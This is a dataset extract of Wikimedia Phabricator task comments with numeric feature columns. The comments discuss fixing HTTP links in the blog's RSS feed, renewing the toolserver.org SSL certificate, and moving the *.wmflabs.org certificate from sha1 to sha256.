1435879,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,This site has been closed and is no longer being actively developed.,,,1580868354,,PHID-USER-tbsqok4i4d2fpoef36s2,False,,,PHID-TASK-7kwdiqzwj274sx4nrksn,task_subcomment,,True,c3,3,True,,,239,True,0.0,0.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.384615384615385,1.0,This site has been closed and is no longer being actively developed.
714518,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,"https://blog.wikimedia.org/feed/ links look maybe fixed but some other
things need fixing too. just search the feed for `http://`

bottom line is we shouldn't be sending feedreaders nor people actively
browsing to fetch HTTP resources.

* enclosures/thumbs/images/etc. all seem to mostly be HTTP (for a variety of domains including the wordpress image host and also upload.wm.o)
** btw, evan amos has 118 enclosures for the same content??
** and https://blog.wikimedia.org/2016/08/16/wikipedia-portal-update/ also has quite a few duplicate enclosures. why would one be ogg and the other is webm? ogg gets an inaccurate `type=""audio/ogg""` in the feed.
* `<guid isPermaLink=""false"">http://blog.wikimedia.org/?p=48216</guid>`, not sure how big a deal this is, fixing it might make existing subscribers get duplicate stories?",,,1471635967,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-7kwdiqzwj274sx4nrksn,task_subcomment,,True,c3,3,False,,,59,True,1.5,0.0,0.0,0.0,1.0,8.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,7.0,4.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,6.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,16.5,0.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,5.5,3.5,4.0,1.5,3.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,2.0,4.0,2.5,3.0,0.0,0.0,2.0,0.0,1.5,2.5,0.0,3.5,0.0,0.0,1.0,3.8021322378716746,0.7687793427230047,"URL links look maybe fixed but some other
things need fixing too. just search the feed for CODE

bottom line is we shouldn't be sending feedreaders nor people actively
browsing to fetch HTTP resources.

* enclosures/thumbs/images/etc. all seem to mostly be HTTP (for a variety of domains including the wordpress image host and also upload.wm.o)
** btw, evan amos has 118 enclosures for the same content??
** and URL also has quite a few duplicate enclosures. why would one be ogg and the other is webm? ogg gets an inaccurate CODE in the feed.
* CODE, not sure how big a deal this is, fixing it might make existing subscribers get duplicate stories?"
714513,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,"https://blog.wikimedia.org/feed/ links look maybe fixed but some other
things need fixing too. just search the feed for ""http://""

bottom line is we shouldn't be sending feedreaders nor people actively
browsing to fetch HTTP resources.

* enclosures/thumbs/images/etc. all seem to mostly be HTTP (for a
variety of domains including the wordpress image host and also
upload.wm.o)
** btw, evan amos has 118 enclosures for the same content??
** and https://blog.wikimedia.org/2016/08/16/wikipedia-portal-update/
also has quite a few duplicate enclosures. why would one be ogg and
the other is webm? ogg gets an inaccurate type=""audio/ogg"" in the
feed.
* <guid isPermaLink=""false"">http://blog.wikimedia.org/?p=48216</guid>,
not sure how big a deal this is, fixing it might make existing
subscribers get duplicate stories?",,,1471635667,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-7kwdiqzwj274sx4nrksn,task_subcomment,,True,c3,3,False,,,59,True,1.5,0.0,0.0,0.0,1.0,8.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,6.5,4.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,6.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,15.0,0.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,5.5,3.5,2.5,1.5,3.0,8.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,2.0,4.0,4.0,2.5,1.0,0.0,2.0,0.0,1.5,2.5,0.0,3.5,0.0,0.0,1.5,3.78005328005328,0.7416749916749916,"URL links look maybe fixed but some other
things need fixing too. just search the feed for ""URL

bottom line is we shouldn't be sending feedreaders nor people actively
browsing to fetch HTTP resources.

* enclosures/thumbs/images/etc. all seem to mostly be HTTP (for a
variety of domains including the wordpress image host and also
upload.wm.o)
** btw, evan amos has 118 enclosures for the same content??
** and URL
also has quite a few duplicate enclosures. why would one be ogg and
the other is webm? ogg gets an inaccurate type=""audio/ogg"" in the
feed.
* <guid isPermaLink=""false"">URL
not sure how big a deal this is, fixing it might make existing
subscribers get duplicate stories?"
714502,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,Looks fixed to me as well; resolving. :-),,,1471634138,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-7kwdiqzwj274sx4nrksn,task_subcomment,,True,c3,3,True,,,59,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,3.4,1.0,Looks fixed to me as well; resolving. :-)
655077,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,It looks to me like the main problem was solved. We might be able to close this...,,,1462200661,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-7kwdiqzwj274sx4nrksn,task_subcomment,,True,c3,3,True,,,43,True,0.0,0.0,0.0,5.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.473684210526316,0.9473684210526315,It looks to me like the main problem was solved. We might be able to close this...
655032,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,This is not something I have the ability to fix. I would echo @Tbayer in that the actual issue here isn't currently clear.,,,1462197526,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-7kwdiqzwj274sx4nrksn,task_subcomment,,True,c3,3,False,,,43,True,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,16.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,12.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.16,0.84,This is not something I have the ability to fix. I would echoSCREEN_NAME in that the actual issue here isn't currently clear.
618426,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,"I can file a ticket with Automattic, also in connection with {T105905} . But perhaps someone could come up with a more up to date and precise problem description first? 

Right now it seems that only the permalinks (those ending in a ""p=...."") are in HTTP and the rest is in HTTPS. E.g.. `<guid isPermaLink=""false"">http://blog.wikimedia.org/?p=45232</guid>`  vs,.`<link>https://blog.wikimedia.org/2016/02/17/wikimedia-nsa-appeal-filed/</link>`
",,,1456465503,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-7kwdiqzwj274sx4nrksn,task_subcomment,,True,c3,3,True,,,34,True,0.0,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,0.0,8.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,11.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,14.0,1.0,4.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,15.0,7.0,1.0,3.0,0.0,3.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,1.0,3.507042253521127,0.8028169014084507,"I can file a ticket with Automattic, also in connection with {T105905} . But perhaps someone could come up with a more up to date and precise problem description first? 

Right now it seems that only the permalinks (those ending in a ""p=...."") are in HTTP and the rest is in HTTPS. E.g.. CODE  vs,.CODE
"
618418,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,"Something needs to be done by Automattic, I guess @jrbs can either deal with them or knows who can.",,,1456457393,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-7kwdiqzwj274sx4nrksn,task_subcomment,,True,c3,3,True,,,34,True,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,15.0,5.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,4.35,0.95,"Something needs to be done by Automattic, I guessSCREEN_NAME can either deal with them or knows who can."
104211,Renew toolserver.org SSL certificate,"There are still redirects to it from inside wikis, and the certificate just expired.",High,80.0,1435596511,1435695195.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-ngm2mktirfp3mgyvcidz,task_description,resolved,True,c3,2,True,False,True,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4375,1.0,"There are still redirects to it from inside wikis, and the certificate just expired."
484507,Renew toolserver.org SSL certificate,"Change 221896 merged by Andrew Bogott:
Update toolserver.org.crt.

[[https://gerrit.wikimedia.org/r/221896]]",,,1435695161,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.411764705882353,0.8823529411764706,"Change 221896 merged by Andrew Bogott:
Update toolserver.org.crt.

[[GERRIT_URL]]"
484424,Renew toolserver.org SSL certificate,"Change 221896 had a related patch set uploaded (by Andrew Bogott):
Update toolserver.org.crt.

[[https://gerrit.wikimedia.org/r/221896]]
",,,1435688765,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.125,0.875,"Change 221896 had a related patch set uploaded (by Andrew Bogott):
Update toolserver.org.crt.

[[GERRIT_URL]]
"
484416,Renew toolserver.org SSL certificate,"The new certificate and key pair are in Andrew's home directory on iron (ops only bastion).

Andrew: Please commit to the repos when you push into service.  I didn't want to do so, since I'm not sure where your labs instances pull the data.",,,1435687981,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,4.0,5.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,4.0,0.0,11.0,11.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,11.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,7.0,11.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5357142857142856,0.8928571428571429,"The new certificate and key pair are in Andrew's home directory on iron (ops only bastion).

Andrew: Please commit to the repos when you push into service.  I didn't want to do so, since I'm not sure where your labs instances pull the data."
483875,Renew toolserver.org SSL certificate,"I put in the toolserver.org domian on globalsign two hours ago, and its still pending vetting.  I've emailed our rep to determine what the hold up is.",,,1435618072,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,9.0,0.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.875,0.90625,"I put in the toolserver.org domian on globalsign two hours ago, and its still pending vetting.  I've emailed our rep to determine what the hold up is."
483643,Renew toolserver.org SSL certificate,"Since it will be a new certificate (as the old one expired and is on an old vendor), would you guys like to furnish (or have me create) a new key for this as well?",,,1435601491,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,2.0,2.0,5.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,7.0,12.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,3.1463414634146343,0.8536585365853658,"Since it will be a new certificate (as the old one expired and is on an old vendor), would you guys like to furnish (or have me create) a new key for this as well?"
483628,Renew toolserver.org SSL certificate,Let's just renew it for another year.,,,1435600530,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,1.0,Let's just renew it for another year.
483606,Renew toolserver.org SSL certificate,I will try to research whether or not anyone is still hitting that page.,,,1435598604,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,True,,,-1,True,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,13.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.933333333333333,1.0,I will try to research whether or not anyone is still hitting that page.
483601,Renew toolserver.org SSL certificate,Rob says ~$115 to keep this alive for another year.,,,1435598235,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.8181818181818183,1.0,Rob says ~$115 to keep this alive for another year.
483574,Renew toolserver.org SSL certificate,"There's a fair case to be made for letting it rot, but I think it's worth a bit of money just to keep people from hitting a cert warning.",,,1435596696,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,6.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,15.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,6.0,0.0,0.0,0.0,3.303030303030303,0.8484848484848485,"There's a fair case to be made for letting it rot, but I think it's worth a bit of money just to keep people from hitting a cert warning."
104017,update star.wmflabs.org cert from sha1 to sha256,"*.wmflabs.org is currently served with a sha1 hashed certificate.  This task will track the reissue in sha256 and the revocation and deletion of the sha1 cert/config in our side (and on rapidssl).

",High,80.0,1435344045,1435614805.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-betmtajh4mfbsbg53cqx,task_description,resolved,True,c3,2,True,False,True,-1,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.073170731707317,0.8292682926829268,"*.wmflabs.org is currently served with a sha1 hashed certificate.  This task will track the reissue in sha256 and the revocation and deletion of the sha1 cert/config in our side (and on rapidssl).

"
483833,update star.wmflabs.org cert from sha1 to sha256,Done!,,,1435614805,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-betmtajh4mfbsbg53cqx,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,Done!
483793,update star.wmflabs.org cert from sha1 to sha256,"Change 221167 merged by Yuvipanda:
changing *.wmflabs.org from sha1 to sha256

[[https://gerrit.wikimedia.org/r/221167]]",,,1435612132,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-betmtajh4mfbsbg53cqx,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,4.2,0.9,"Change 221167 merged by Yuvipanda:
changing *.wmflabs.org from sha1 to sha256

[[GERRIT_URL]]"
482652,update star.wmflabs.org cert from sha1 to sha256,"Chatted with Yuvi in IRC.  This seems like it would be something he would handle, so I'll assign it to him for now.  If incorrect, he can just kick it up for grabs or assign to a fellow opsen.",,,1435345414,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-betmtajh4mfbsbg53cqx,task_subcomment,,True,c3,2,True,,,-1,True,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,13.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,15.0,21.0,4.0,0.0,0.0,0.0,15.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.276595744680851,0.7659574468085106,"Chatted with Yuvi in IRC.  This seems like it would be something he would handle, so I'll assign it to him for now.  If incorrect, he can just kick it up for grabs or assign to a fellow opsen."
482638,update star.wmflabs.org cert from sha1 to sha256,"once the cert is updated and in place, someone should kick this task back to me for rapidssl cert revocation of the older sha1 certs.",,,1435344728,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-betmtajh4mfbsbg53cqx,task_subcomment,,True,c3,2,True,,,-1,True,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,19.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,19.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.037037037037037,0.9259259259259259,"once the cert is updated and in place, someone should kick this task back to me for rapidssl cert revocation of the older sha1 certs."
482637,update star.wmflabs.org cert from sha1 to sha256,"Change 221167 had a related patch set uploaded (by RobH):
changing *.wmflabs.org from sha1 to sha256

